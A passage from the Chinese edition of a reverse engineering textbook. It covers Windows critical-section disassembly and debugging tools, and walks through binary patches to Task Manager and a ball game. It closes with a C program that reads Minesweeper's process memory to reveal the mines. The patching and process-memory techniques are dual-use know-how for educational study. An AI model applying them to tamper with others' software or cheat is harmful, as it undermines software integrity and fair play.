68.14 (Windows Research Kernel v1.2) public/sdk/inc/nturtl.h typedef struct _RTL_CRITICAL_SECTION { PRTL_CRITICAL_SECTION_DEBUG DebugInfo; // // The following three fields control entering and exiting the critical // section for the resource // LONG LockCount; LONG RecursionCount; HANDLE OwningThread; // from the thread's ClientId->UniqueThread HANDLE LockSemaphore; ULONG_PTR SpinCount; // force size on 64-bit systems when packed } RTL_CRITICAL_SECTION, *PRTL_CRITICAL_SECTION; 下面的代码描述了函数 EnterCriticalSection()的工作原理。 指令清单 68.15 Windows 2008/ntdll.dll/x86(开始) _RtlEnterCriticalSection@4 var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 异步社区会员 dearfuture(15918834820) 专享 尊重版权 698 逆向工程权威指南(下册) mov edi, edi push ebp mov ebp, esp sub esp, 0Ch push esi push edi mov edi, [ebp+arg_0] lea esi, [edi+4] ; LockCount mov eax, esi lock btr dword ptr [eax], 0 jnb wait ; jump if CF=0 loc_7DE922DD: mov eax, large fs:18h mov ecx, [eax+24h] mov [edi+0Ch], ecx mov dword ptr [edi+8], 1 pop edi xor eax, eax pop esi mov esp, ebp pop ebp retn 4 ... skipped 在代码段中最重要的指令是 BTR(及其 LOCK 前缀):BTR 指令把第一个操作数的第 0 位复制给 CF 标识 位,然后再把这个位清零。由 LOCK 前缀修饰的都是原子性操作,可以让 CPU 阻止其他的系统总线读取或修 改相关内存地址。如果 LockCount 的第 0 位值是 1,则将其充值重置并退出函数——CPU 现在正处于临界区; 否则,则表示其他线程正在占用临界区,CPU 将等待相关操作结束。 等待期间运行的函数是 WaitForSingleObject()。 下述代码描述了 LeaveCriticalSection()函数的工作机理: 指令清单 68.16 Windows 2008/ntdll.dll/x86(开始) _RtlLeaveCriticalSection@4 proc near arg_0 = dword ptr 8 mov edi, edi push ebp mov ebp, esp push esi mov esi, [ebp+arg_0] add dword ptr [esi+8], 0FFFFFFFFh ; RecursionCount jnz short loc_7DE922B2 push ebx push edi lea edi, [esi+4] ; LockCount mov dword ptr [esi+0Ch], 0 mov ebx, 1 mov eax, edi lock xadd [eax], ebx inc ebx cmp ebx, 0FFFFFFFFh jnz loc_7DEA8EB7 loc_7DE922B0: pop edi pop ebx loc_7DE922B2: xor eax, eax pop esi 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 68 章 Windows NT 699 pop ebp retn 4 ... skipped XADD 指令的功能是:先交换操作数的值,然后再进行加法运算。在本例中,它将 LockCount 与数字 1 的和存储于第一个操作数,同时将 LockCount 的初始值传递给 EBX 寄存器。但是 EBX 里的这个值也随 即被后面的 INC 指令递增,最终与 LockCount 的值同步。因为它带有 LOCK 前缀,所以属于原子操作。这 就意味着所有的其他 CPU(不管是几核的)都不能同时访问那片内存区域。 LOCK 前缀非常重要。不同的 CPU 或者 CPU 核心(core)可能会加载同一个进程的不同线程。若使用无 LOCK 前缀的指令操作临界区段的数据,很可能发生无法预料的情况。 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 第七 七部 部分 分 常 常用 用工 工具 具 异步社区会员 dearfuture(15918834820) 专享 尊重版权 702 逆向工程权威指南 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 第 6699 章 章 反 反汇 汇编 编工 工具 具 69.1 IDA IDA PRO 简称 IDA(Interactive Disassembler),是一个世界顶级的交互式反汇编工具,由总部位于比 利时列日市(Liège)的 Hex-Rayd 公司研发。 Hex-Rayd 为希望了解 IDA 基本功能的用户提供了一个功能有限的免费版本。这个免费版是由 5.0 版精 简而来,它的下载地址是:https://www.hex-rays.com/products/ida/support/download_freeware.shtml。 本书的附录 F.1 收录了 IDA 常用的快捷键。 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 第 7700 章 章 调 调 试 试 工 工 具 具 70.1 tracer 我很少使用debugger,往往用自己研发的tracer工具对程序进行跟踪和调试。 ① 话说回来,在学习和摸索的过程中,初学者还是应当熟悉和掌握debugger程序的使用方法,用debugger 查看寄存器的状态变化 近期以来,我完全不用 debugger 了。debugger 就是一个在程序执行期间辨别函数的参数,或者在某个 断点查看寄存器状态的工具。每次都使用 debugger 进行调试,未免过于烦琐。所以我就自己编写了 tracer 工具。tracer 程序采用控制台界面,能够从命令行里直接发送命令,同样可以在函数的执行过程中进行中 断,并且还能在任意地址设置中断、查看进程状态和修改数据,完成各种各样的任务。 ② 70.2 OllyDbg ,观察标识位、数据,并手动修改各项数据,验证数据对程序的影响。 OllyDbg 是一款十分流行的用户模式(user-mode,Ring 3 级)调试程序。它的官方网站是:http://www. ollydbg.de/。 本书的附录 F.2 收录了 OllyDbg 常用的快捷键。 70.3 GDB GDB 不是一款图形化调试器,因而不太受逆向工程研究人员关注。但是它的功能更为强大,可谓独具 特色。 本书的附录 F.5 收录了部分 GDB 常用指令。 ① tracer 工具的下载地址是 http://yurichev.com/tracer-en.html。 ② 经典的 SoftICE、OllyDbg 和 WinDbg 工具能够用高亮信息提示寄存器变化。 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 第 7711 章 章 系 系统 统调 调用 用的 的跟 跟踪 踪工 工具 具 71.1 strace/dtruss Linux 内核提供了一款非常有用的调试工具,它可以跟踪某个进程调用的系统调用(以及该进程所接 收到的信号) ① ① 有关 syscalls 的详细介绍,请参见本书第 66 章。 。这款工具就是strace。它属于命令行工具,在使用时,我们可以把希望跟踪的应用程序直 接指定为命令参数。例如: # strace df -h ... access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory) open("/lib/i386-linux-gnu/libc.so.6", O_RDONLY|O_CLOEXEC) = 3 read(3, "\177ELF\1\1\1\0\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0\220\232\1\0004\0\0\0"..., 512) = 512 fstat64(3, {st_mode=S_IFREG|0755, st_size=1770984, ...}) = 0 mmap2(NULL, 1780508, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0xb75b3000 Mac OS X 的 dtruss 工具与 Linux 下的 strace 功能相同。 Cygwin 环境里同样也有 strace 程序。如果我没搞错的话,Cygwin 里的 strace 只能分析那些在 Cygwin 环境里编译出来的.exe 文件。 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 第 7722 章 章 反 反编 编译 译工 工具 具 Hex-Rays Decompiler 是唯一一款众所皆知的、公开销售的、品质较高的 C 语言反编译工具。它的官方 网站是:https://www.hex-rays.com/products/decompiler/。 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 第 7733 章 章 其 其 他 他 工 工 具 具  Microsoft Visual Studio Express: 鼎鼎大名的 Visual Studio 的精简版,可用于简单的程序调试。本 书的附录 F.3 收集了它的部分选项及功能。其官方网站是:https://www.visualstudio.com/en-US/ products/visual-studio-express-vs。  Hiew2:一款优秀的 16 进制编辑器,可以对应用程序进行反汇编,而且支持对可执行文件的 16 进制代码及汇编语言代码的修改,使用起来非常方便。其官方网站是:http://www.hiew.ru/。  Binary grep:在海量文件(包括非可执行程序)中搜索常量或任意字节序列的可执行工具。其官 方网站是:https://github.com/yurichev/bgrep。 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 第八 八部 部分 分 更 更多 多范 范例 例 异步社区会员 dearfuture(15918834820) 专享 尊重版权 704 逆向工程权威指南 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 第 7744 章 章 修 修改 改任 任务 务管 管理 理器 器( (VViissttaa) ) 如果主机上安装的是四核 CPU,那么 Windows 任务管理器应当显示出 4 个 CPU 的性能统计图表。本 章将要稍微 hack 任务管理器,让它显示更多的 CPU 运算核心。 首先需要了解的问题是:任务管理器如何知道 CPU 有多少个运算核心?虽然运行于 win32 用户空间的 GetSystemInfo()函数确实可以反馈这一信息,但是任务管理器 taskmgr.exe 没有直接导入这个函数。它多次调 用 NTAPI 中的 NtQuerySystemInformation()函数获取的各种系统信息,也是通过后者了解 CPU 的具体情况。 NtQuerySystemInformation()函数有四个参数:第一个参数是查询的系统信息类型 ① 要获取CPU信息,就要在调用它的时候把第一个参数设置为常量SystemBasicInformation ;第二个参数是一 个指针,这个指针用来返回系统的HandleList;第三个参数是程序员指定分配给HandleList的内存空间大小; 第四个参数是NtQuerySystemInformation返回的HandleList的大小。 ②。 因此,我们要查找的调用指令大体会是“NtQuerySystemInformation(0, ?, ?, ?)”。第一步当然是用 IDA 打开 taskmgr.exe 文件。在处理微软的官方程序时,IDA 能够下载与之相应的 PDB 文件并显示全部函数名 称。显而易见的是,任务管理器是用 C++编写的程序,而且它使用的函数名称和类(class)名称真的是不 为人知。在它使用的类名称里,我们可以看到 CAdapter、CNetPage、CPerfPage、CProcInfo、CProcPage、 CSvcPage、CTaskPage 和 CUserPage。这些类名称和任务管理器程序窗口的标签(tab)有对应关系。 在跟踪了 NtQuerySystemInformation()函数的每次调用过程之后,我们可以统计出传递给函数的第一个 参数。在图 74.1 中可以看到,部分调用过程里的第一个参数值明显不是零,所以被标记上了“Not Zero”。 另外,还有一些函数调用的情况非常特殊,本章的第二部分再进行有关讲解。总之,我们要找那些“第一 个参数是零”的、NtQuerySystemInformation()函数的调用语句。 图 74.1 IDA:NtQuerySystemInformation()函数的 xrefs 那些不公开的名称暂且放置一边。 在检索“NtQuerySystemInformation(0, ?, ?, ?)”的调用语句时,我们可以很快地在 InitPerfInfo()里找到 如下所示的这种语句。 指令清单 74.1 taskmgr.exe (Windows Vista) .text:10000B4B3 xor r9d, r9d .text:10000B4B6 lea rdx, [rsp+0C78h+var_C58] ; buffer .text:10000B4BB xor ecx, ecx .text:10000B4BD lea ebp, [r9+40h] ① 后面提到的 HandleList 就是函数应当反馈的类型信息。 ② 这个常量的值为零。更多信息请参考 MSDN: https://msdn.microsoft.com/en-us/library/windows/desktop/ms724509(v=vs.85).aspx。 异步社区会员 dearfuture(15918834820) 专享 尊重版权 712 逆向工程权威指南(下册) .text:10000B4C1 mov r8d, ebp .text:10000B4C4 call cs:__imp_NtQuerySystemInformation ; 0 .text:10000B4CA xor ebx, ebx .text:10000B4CC cmp eax, ebx .text:10000B4CE jge short loc_10000B4D7 .text:10000B4D0 .text:10000B4D0 loc_10000B4D0: ; CODE XREF: InitPerfInfo(void)+97 .text:10000B4D0 ; InitPerInfo(void)+AF .text:10000B4D0 xor al, al .text:10000B4D2 jmp loc_10000B5EA .text:10000B4D7 ; ---------------------------------------------------------------------------- .text:10000B4D7 .text:10000B4D7 loc_10000B4D7: ; CODE XREF: InitPerfInfo(void)+36 .text:10000B4D7 mov eax, [rsp+0C78h+var_C50] .text:10000B4DB mov esi, ebx .text:10000B4DD mov r12d, 3E80h .text:10000B4E3 mov cs:?g_PageSize@@3KA, eax ; ulong g_PageSize .text:10000B4E9 shr eax, 0Ah .text:10000B4EC lea r13, __ImageBase .text:10000B4F3 imul eax, [rsp+0C78h+var_C4C] .text:10000B4F8 cmp [rsp+0C78h+var_C20], bpl .text:10000B4FD mov cs:?g_MEMMax@@3_JA, rax ; __int64 g_MEMMax .text:10000B504 movzx eax, [rsp+0C78h+var_C20] ; no. of CPUs .text:10000B509 cmova eax, ebp .text:10000B50C cmp al, bl .text:10000B50E mov cs:?g_cProcessors@@3EA, al ; uchar g_cProcessors 从微软的服务器上下载相应的 PDB 文件之后,IDA 就能够给各个变量分配正确的变量名称。我们不难 从中找到全局变量 g_cProcessors。 传递给 NtQuerySystemInformation()函数的第二个参数(即接收缓冲区)是 var_C58。var_C20 和 var_C58 之间的地址差值是 0xC58−0xC20=0x38(56)。根据 MSDN 的官方说明,可知返回值的数据格式如下: typedef struct _SYSTEM_BASIC_INFORMATION { BYTE Reserved1[24]; PVOID Reserved2[4]; CCHAR NumberOfProcessors; } SYSTEM_BASIC_INFORMATION; 因为本例是在 x64 系统上的演示,所以 PVOID 占用 8 个字节。两个“reserved”保留字段共占用 24+4×8= 56 字节。这意味着 var_C20 很可能就是_SYSTEM_BASIC_INFORMATION 里的 NumberOfProcessors 字段。 下面我们来验证这一推论。把 C:\Windows\System32 里的 taskmgr.exe 复制出来,然后我们在对复制品 进行修改,以防 Windows 的文件保护机制自动恢复原始文件。 使用 Hiew 打开复制出来的文件,然后找到图 74.2 所示的程序地址。 图 74.2 Hiew:找到修改点 接下来替换 MOVZX 指令,通过 MOV 指令直接把返回结果改为 64(将 CPU 设为 64 核)。由于修改 后的指令比原始指令短 1 个字节,所有我们还需添加 1 个 NOP 指令。如图 74.3 所示。 图 74.3 Hiew:修改程序 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 74 章 修改任务管理器(Vista) 713 修改后的这个程序可以正常运行!当然,图表中的统计信息肯定是不正确的。CPU 的总负载偶尔还会超过 100%。如图 74.4 所示。 图 74.4 被骗的 Windows 任务管理器 刚才我们把 CPU 运算核心的总数改为了 64(更大的值会使任务管理器崩溃)。显然 Windows Vista 的 任务管理器无法在拥有更多运算核心的计算机上运行。这也可能是微软通过静态的数据结构把有关数值限 定在 64 以下的原因。 74.1 使用 LEA 指令赋值 任务管理器 taskgmr.exe 传递 NtQuerySystemInformation()第一个参数的指令并非都是 MOV 指令,部分 指令是 LEA。 指令清单 74.2 taskmgr.exe (Windows Vista) xor r9d, r9d div dword ptr [rsp+4C8h+WndClass.lpfnWndProc] lea rdx, [rsp+4C8h+VersionInformation] lea ecx, [r9+2] ; put 2 to ECX mov r8d, 138h mov ebx, eax ; ECX=SystemPerformanceInformation call cs:__imp_NtQuerySystemInformation ; 2 ... mov r8d, 30h lea r9, [rsp+298h+var_268] lea rdx, [rsp+298h+var_258] lea ecx, [r8-2Dh] ; put 3 to ECX ; ECX=SystemTimeOfDayInformation call cs:__imp_NtQuerySystemInformation ; not zero ... mov rbp, [rsi+8] mov r8d, 20h lea r9, [rsp+98h+arg_0] lea rdx, [rsp+98h+var_78] lea ecx, [r8+2Fh] ; put 0x4F to ECX mov [rsp+98h+var_60], ebx mov [rsp+98h+var_68], rbp 异步社区会员 dearfuture(15918834820) 专享 尊重版权 714 逆向工程权威指南(下册) ; ECX=SystemSuperfetchInformation call cs:__imp_NtQuerySystemInformation ; not zero 出现这种指令的具体原因不明。但是 MSVC 编译器还是经常如此分配指令。或许 LEA 指令会带来速 度或性能方面的好处吧。 您还可以在指令清单 64.7(64.5.1 节)里看到这种情况。 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 第 7755 章 章 修 修改 改彩 彩球 球游 游戏 戏 彩球游戏有多个衍生版本。本章采用的是 1997 年发布的 BallTrix 版。这款程序可从 http://go.yurichev. com/17311 公开下载。它的图形界面如图 75.1 所示。 图 75.1 游戏界面 本章关注它的随机生成器,以及修改这个组件的具体方法。IDA 在 balltrix.exe 里识别出了标准函数 _rand。这个函数的地址是 0x00403DA0。不仅如此,IDA 还判断出该函数只会被这一处调用。 .text:00402C9C sub_402C9C proc near ; CODE XREF: sub_402ACA+52 .text:00402C9C ; sub_402ACA+64 ... .text:00402C9C .text:00402C9C arg_0 = dword ptr 8 .text:00402C9C .text:00402C9C push ebp .text:00402C9D mov ebp, esp .text:00402C9F push ebx .text:00402CA0 push esi .text:00402CA1 push edi .text:00402CA2 mov eax, dword_40D430 .text:00402CA7 imul eax, dword_40D440 .text:00402CAE add eax, dword_40D5C8 .text:00402CB4 mov ecx, 32000 .text:00402CB9 cdq .text:00402CBA idiv ecx .text:00402CBC mov dword_40D440, edx .text:00402CC2 call _rand .text:00402CC7 cdq .text:00402CC8 idiv [ebp+arg_0] .text:00402CCB mov dword_40D430, edx .text:00402CD1 mov eax, dword_40D430 .text:00402CD6 jmp $+5 .text:00402CDB pop edi .text:00402CDC pop esi .text:00402CDD pop ebx .text:00402CDE leave .text:00402CDF retn .text:00402CDF sub_402C9C endp 异步社区会员 dearfuture(15918834820) 专享 尊重版权 716 逆向工程权威指南(下册) 为了便于讨论,我们把_rand 函数的调用方函数叫作“random”。在程序里有三处的代码调用了 random 函数。 调用 random 函数的前两处代码是: .text:00402B16 mov eax, dword_40C03C ; 10 here .text:00402B1B push eax .text:00402B1C call random .text:00402B21 add esp, 4 .text:00402B24 inc eax .text:00402B25 mov [ebp+var_C], eax .text:00402B28 mov eax, dword_40C040 ; 10 here .text:00402B2D push eax .text:00402B2E call random .text:00402B33 add esp, 4 调用 random 函数的第三处代码是: .text:00402BBB mov eax, dword_40C058 ; 5 here .text:00402BC0 push eax .text:00402BC1 call random .text:00402BC6 add esp, 4 .text:00402BC9 inc eax 综合上述代码,我们可以判定该函数只有一个参数。前两处传递的参数是 10,第三处传递的参数是 5。 在观察游戏的界面后,可知棋盘是 10×10 的方阵,而彩球的颜色总共有 5 种。这三处调用 random 的指令, 必定是坐标和颜色的生成指令。标准的随机函数 rand()函数会生成一个在 0~0x7FFF 之间的返回值,用起 来并不方便。实际上,编程人员会编写自己的随机函数以获取特定区间之内的随机返回值。本例需要的随 机数是 0~(n−1)之间的整数,n 就是函数所需的唯一参数。这一假设可由任意一种 debugger 验证。 本章将修改第三处调用指令,让它的第三次返回值永远是 0。为此,我们可把 PUSH/CALL/ADD 这三 条指令改为 NOP,然后再添加 XOR EAX,EAX 指令,以清空 EAX 寄存器。 .00402BB8: 83C410 add esp,010 .00402BBB: A158C04000 mov eax,[00040C058] .00402BC0: 31C0 xor eax,eax .00402BC2: 90 nop .00402BC3: 90 nop .00402BC4: 90 nop .00402BC5: 90 nop .00402BC6: 90 nop .00402BC7: 90 nop .00402BC8: 90 nop .00402BC9: 40 inc eax .00402BCA: 8B4DF8 mov ecx,[ebp][-8] .00402BCD: 8D0C49 lea ecx,[ecx][ecx]*2 .00402BD0: 8B15F4D54000 mov edx,[00040D5F4] 也就是说,我们修改调用 random()函数的有关指 令,让它的返回值固定为 0。 修改程序后,它的运行界面如图 75.2 所示。 不得不说我们修改得很成功。我在当初修改这个 游戏的时候,希望我的同事明白“没有必要执迷于你 肯定会赢的游戏”。可惜我的劝阻没能成功。 另外还有一个问题:为什么 random()函数的参数 会是全局变量?这是因为棋盘大小是可调整的变量, 不能在程序里把它写成常量。本例中的 5 和 10 只是它 的默认值。 图 75.2 作弊成功 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 第 7766 章 章 扫 扫雷 雷( (W Wiinnddoowwss XXPP) ) 我的扫雷水平不高,所以干脆用 debugger 把雷都显示出来吧! 因为地雷的具体位置是随机的,所以扫雷程序里肯定会用随机函数安置地雷。这种随机函数不是某种 自制的随机数生成函数,就是标准的 C 函数 rand()。最为美妙的事情是,微软不仅公开了其产品的 PDB 文 件,而且在 PDB 文件里提供了全部的函数名等符号信息。所以,当我们用 IDA 打开 winmine.exe 程序时, 它会从微软下载 PDB 文件并且显示所有函数名称。 在 IDA 里可以看到,调用 rand()函数的指令只有一处: .text:01003940 ; __stdcall Rnd(x) .text:01003940 _Rnd@4 proc near ; CODE XREF: StartGame()+53 .text:01003940 ; StartGame()+61 .text:01003940 .text:01003940 arg_0 = dword ptr 4 .text:01003940 .text:01003940 call ds:__imp__rand .text:01003946 cdq .text:01003947 idiv [esp+arg_0] .text:0100394B mov eax, edx .text:0100394D retn 4 .text:0100394D _Rnd@4 endp IDA 把这个函数显示为 rnd() 函数,那就是说扫雷游戏的开发人员给它起的名字就是 rnd。这个函数非 常简单: int Rnd(int limit) { return rand() % limit; }; 微软的 PDB 文件没有把参数命名为 limit。为了便于讨论,本文给它起名为 limit。可见,rnd()函数返 回值是介于 0~limit 之间的整数。 rand()函数的调用方函数也只有一个 StartGame()函数。而且 StartGame()函数应当就是安放地雷的函数: .text:010036C7 push _xBoxMac .text:010036CD call _Rnd@4 ; Rnd(x) .text:010036D2 push _yBoxMac .text:010036D8 mov esi, eax .text:010036DA inc esi .text:010036DB call _Rnd@4 ; Rnd(x) .text:010036E0 inc eax .text:010036E1 mov ecx, eax .text:010036E3 shl ecx, 5 ; ECX=ECX*32 .text:010036E6 test _rgBlk[ecx+esi], 80h .text:010036EE jnz short loc_10036C7 .text:010036F0 shl eax, 5 ; EAX=EAX*32 .text:010036F3 lea eax, _rgBlk[eax+esi] .text:010036FA or byte ptr [eax], 80h .text:010036FD dec _cBombStart .text:01003703 jnz short loc_10036C7 因为扫雷游戏允许用户设置棋盘大小,所以棋盘的 X(xBoxMac)和 Y(yBoxMac)都是全局变量。Rnd() 函数根据这两个参数生成随机坐标,而后 0x10036FA 处的 OR 指令设置地雷。如果这个坐标在以前已经设 置过地雷了,那么 0x010036E6 的 TEST 和 JNZ 指令将再次生成一次坐标。 异步社区会员 dearfuture(15918834820) 专享 尊重版权 718 逆向工程权威指南(下册) 变量 cBombStart 不仅是设置地雷总数的全局变量,还是循环控制变量。 SHL/左移指令意味着棋盘宽度是 32。 全局数组 rgBlk 的容量可通过数据段里 rgBlk 标签的地址与下一个数据的地址推算出来。数组容量应当 是这两个地址之间的差值,即 0x360(864)。 .data:01005340 _rgBlk db 360h dup(?) ; DATA XREF: MainWndProc(x,x,x,x)+574 .data:01005340 ; DisplayBlk(x,x)+23 .data:010056A0 _Preferences dd ? ; DATA XREF: FixMenus()+2 ... 数组的元素数量为:864(总容量)/32=27。 那么,rgBlk 是否就是 27×32 的数组呢?当我们把棋盘设置为 100×100 的矩阵时,它会自动回滚为 24×30 的棋盘。所以棋盘盘面的最大值就是这个值,而且无论棋盘有多大,程序都把棋盘数据存储在这个数组里。 接下来,我们使用OllyDbg进行观察。在OllyDbg中运行扫雷游戏,然后在内存窗口里观察rgBlk数组(地 址为 0x1005340)。 ① 与其他的 16 进制编辑程序相似,OllyDbg 也采取了每行 16 字节的显示风 格。因此,一个 32 字节的数组对应着 OllyDbg 窗口里的两行数据。 与这个数组有关的内存数据如下: Address Hex dump 01005340 10 10 10 10|10 10 10 10|10 10 10 0F|0F 0F 0F 0F| 01005350 0F 0F 0F 0F|0F 0F 0F 0F|0F 0F 0F 0F|0F 0F 0F 0F| 01005360 10 0F 0F 0F|0F 0F 0F 0F|0F 0F 10 0F|0F 0F 0F 0F| 01005370 0F 0F 0F 0F|0F 0F 0F 0F|0F 0F 0F 0F|0F 0F 0F 0F| 01005380 10 0F 0F 0F|0F 0F 0F 0F|0F 0F 10 0F|0F 0F 0F 0F| 01005390 0F 0F 0F 0F|0F 0F 0F 0F|0F 0F 0F 0F|0F 0F 0F 0F| 010053A0 10 0F 0F 0F|0F 0F 0F 0F|8F 0F 10 0F|0F 0F 0F 0F| 010053B0 0F 0F 0F 0F|0F 0F 0F 0F|0F 0F 0F 0F|0F 0F 0F 0F| 010053C0 10 0F 0F 0F|0F 0F 0F 0F|0F 0F 10 0F|0F 0F 0F 0F| 010053D0 0F 0F 0F 0F|0F 0F 0F 0F|0F 0F 0F 0F|0F 0F 0F 0F| 010053E0 10 0F 0F 0F|0F 0F 0F 0F|0F 0F 10 0F|0F 0F 0F 0F| 010053F0 0F 0F 0F 0F|0F 0F 0F 0F|0F 0F 0F 0F|0F 0F 0F 0F| 01005400 10 0F 0F 8F|0F 0F 8F 0F|0F 0F 10 0F|0F 0F 0F 0F| 01005410 0F 0F 0F 0F|0F 0F 0F 0F|0F 0F 0F 0F|0F 0F 0F 0F| 01005420 10 8F 0F 0F|8F 0F 0F 0F|0F 0F 10 0F|0F 0F 0F 0F| 01005430 0F 0F 0F 0F|0F 0F 0F 0F|0F 0F 0F 0F|0F 0F 0F 0F| 01005440 10 8F 0F 0F|0F 0F 8F 0F|0F 8F 10 0F|0F 0F 0F 0F| 01005450 0F 0F 0F 0F|0F 0F 0F 0F|0F 0F 0F 0F|0F 0F 0F 0F| 01005460 10 0F 0F 0F|0F 8F 0F 0F|0F 8F 10 0F|0F 0F 0F 0F| 01005470 0F 0F 0F 0F|0F 0F 0F 0F|0F 0F 0F 0F|0F 0F 0F 0F| 01005480 10 10 10 10|10 10 10 10|10 10 10 0F|0F 0F 0F 0F| 01005490 0F 0F 0F 0F|0F 0F 0F 0F|0F 0F 0F 0F|0F 0F 0F 0F| 010054A0 0F 0F 0F 0F|0F 0F 0F 0F|0F 0F 0F 0F|0F 0F 0F 0F| 010054B0 0F 0F 0F 0F|0F 0F 0F 0F|0F 0F 0F 0F|0F 0F 0F 0F| 010054C0 0F 0F 0F 0F|0F 0F 0F 0F|0F 0F 0F 0F|0F 0F 0F 0F| 启动程序的时候,我们把游戏设置为了“入门级”难度,所以棋盘大小是 9×9。 现在我们可以在每行 0×10 个字节的数据里观测到这种正方形结构。 接下来在 OllyDbg 单击“Run”以运行扫雷程序,然后随意点击、直到触碰 地雷为止。此时即可看到棋盘中的全部地雷了,如图 76.1 所示。 在比较内存数据之后,我们可得出下列结论:  0x10 代表边界。  0x0F 代表空白地段。  0x8F 代表雷区。 现在我们可对内存数据进行标注了。然后我们再用方括号标注地雷: ① 本章以英文版 Windows XP SP3 中的扫雷游戏为例。如果调试的是其他版本的扫雷游戏,那么内存地址会与本例不同。 图 76.1 地雷 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 76 章 扫雷(Windows XP) 719 border: 01005340 10 10 10 10 10 10 10 10 10 10 10 0F 0F 0F 0F 0F 01005350 0F 0F 0F 0F 0F 0F 0F 0F 0F 0F 0F 0F 0F 0F 0F 0F line #1: 01005360 10 0F 0F 0F 0F 0F 0F 0F 0F 0F 10 0F 0F 0F 0F 0F 01005370 0F 0F 0F 0F 0F 0F 0F 0F 0F 0F 0F 0F 0F 0F 0F 0F line #2: 01005380 10 0F 0F 0F 0F 0F 0F 0F 0F 0F 10 0F 0F 0F 0F 0F 01005390 0F 0F 0F 0F 0F 0F 0F 0F 0F 0F 0F 0F 0F 0F 0F 0F line #3: 010053A0 10 0F 0F 0F 0F 0F 0F 0F[8F]0F 10 0F 0F 0F 0F 0F 010053B0 0F 0F 0F 0F 0F 0F 0F 0F 0F 0F 0F 0F 0F 0F 0F 0F line #4: 010053C0 10 0F 0F 0F 0F 0F 0F 0F 0F 0F 10 0F 0F 0F 0F 0F 010053D0 0F 0F 0F 0F 0F 0F 0F 0F 0F 0F 0F 0F 0F 0F 0F 0F line #5: 010053E0 10 0F 0F 0F 0F 0F 0F 0F 0F 0F 10 0F 0F 0F 0F 0F 010053F0 0F 0F 0F 0F 0F 0F 0F 0F 0F 0F 0F 0F 0F 0F 0F 0F line #6: 01005400 10 0F 0F[8F]0F 0F[8F]0F 0F 0F 10 0F 0F 0F 0F 0F 01005410 0F 0F 0F 0F 0F 0F 0F 0F 0F 0F 0F 0F 0F 0F 0F 0F line #7: 01005420 10[8F]0F 0F[8F]0F 0F 0F 0F 0F 10 0F 0F 0F 0F 0F 01005430 0F 0F 0F 0F 0F 0F 0F 0F 0F 0F 0F 0F 0F 0F 0F 0F line #8: 01005440 10[8F]0F 0F 0F 0F[8F]0F 0F[8F]10 0F 0F 0F 0F 0F 01005450 0F 0F 0F 0F 0F 0F 0F 0F 0F 0F 0F 0F 0F 0F 0F 0F line #9: 01005460 10 0F 0F 0F 0F[8F]0F 0F 0F[8F]10 0F 0F 0F 0F 0F 01005470 0F 0F 0F 0F 0F 0F 0F 0F 0F 0F 0F 0F 0F 0F 0F 0F border: 01005480 10 10 10 10 10 10 10 10 10 10 10 0F 0F 0F 0F 0F 01005490 0F 0F 0F 0F 0F 0F 0F 0F 0F 0F 0F 0F 0F 0F 0F 0F 把所有的边界数据(0x10)去除,即可得到地雷的确切位置: 0F 0F 0F 0F 0F 0F 0F 0F 0F 0F 0F 0F 0F 0F 0F 0F 0F 0F 0F 0F 0F 0F 0F 0F 0F[8F]0F 0F 0F 0F 0F 0F 0F 0F 0F 0F 0F 0F 0F 0F 0F 0F 0F 0F 0F 0F 0F[8F]0F 0F[8F]0F 0F 0F [8F]0F 0F[8F]0F 0F 0F 0F 0F [8F]0F 0F 0F 0F[8F]0F 0F[8F] 0F 0F 0F 0F[8F]0F 0F 0F[8F] 上述数据的行和列与棋盘的相应信息一一对应。 在推导出数据结构之后,在 OllyDbg 里修改数据的尝试更为有趣。如果把所有的 0x8F 都替换成 0x0F, 那么扫雷游戏就可以如图 76.2 所示这样玩。 我们还可以把地雷都安置在第一行里,如图 76.3 所示。 图 76.2 没有地雷的扫雷游戏 图 76.3 用 debugger 设置地雷 异步社区会员 dearfuture(15918834820) 专享 尊重版权 720 逆向工程权威指南(下册) 不过,在玩游戏之前,用 OllyDbg 之类的 debugger 查看地雷分布毕竟不够方便。我们不妨写一个专用 程序,专门导出棋盘上的地雷分布情况: // Windows XP MineSweeper cheater // written by dennis(a)yurichev.com for http://beginners.re/ book #include <windows.h> #include <assert.h> #include <stdio.h> int main (int argc, char * argv[]) { int i, j; HANDLE h; DWORD PID, address, rd; BYTE board[27][32]; if (argc!=3) { printf ("Usage: %s <PID><address>\n", argv[0]); return 0; }; assert (argv[1]!=NULL); assert (argv[2]!=NULL); assert (sscanf (argv[1], "%d", &PID)==1); assert (sscanf (argv[2], "%x", &address)==1); h=OpenProcess (PROCESS_VM_OPERATION | PROCESS_VM_READ | PROCESS_VM_WRITE, FALSE, PID); if (h==NULL) { DWORD e=GetLastError(); printf ("OpenProcess error: %08X\n", e); return 0; }; if (ReadProcessMemory (h, (LPVOID)address, board, sizeof(board), &rd)!=TRUE) { printf ("ReadProcessMemory() failed\n"); return 0; }; for (i=1; i<26; i++) { if (board[i][0]==0x10 && board[i][1]==0x10) break; // end of board for (j=1; j<31; j++) { if (board[i][j]==0x10) break; // board border if (board[i][j]==0x8F) printf ("*"); else printf (" "); }; printf ("\n"); }; CloseHandle (h); }; 指定扫雷游戏的PID ①之后,这个程序将会导出 0x01005340 处 ② ① PID 即 Program/process ID。Windows 的任务管理器能够查看程序的 PID。 ② 不同版本的程序,其地址会发生变化。 的地雷分布图。 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 76 章 扫雷(Windows XP) 721 上述程序可以把自身绑定到 PID 指定的程序上,然后读取指定程序的数据。 76.1 练习题  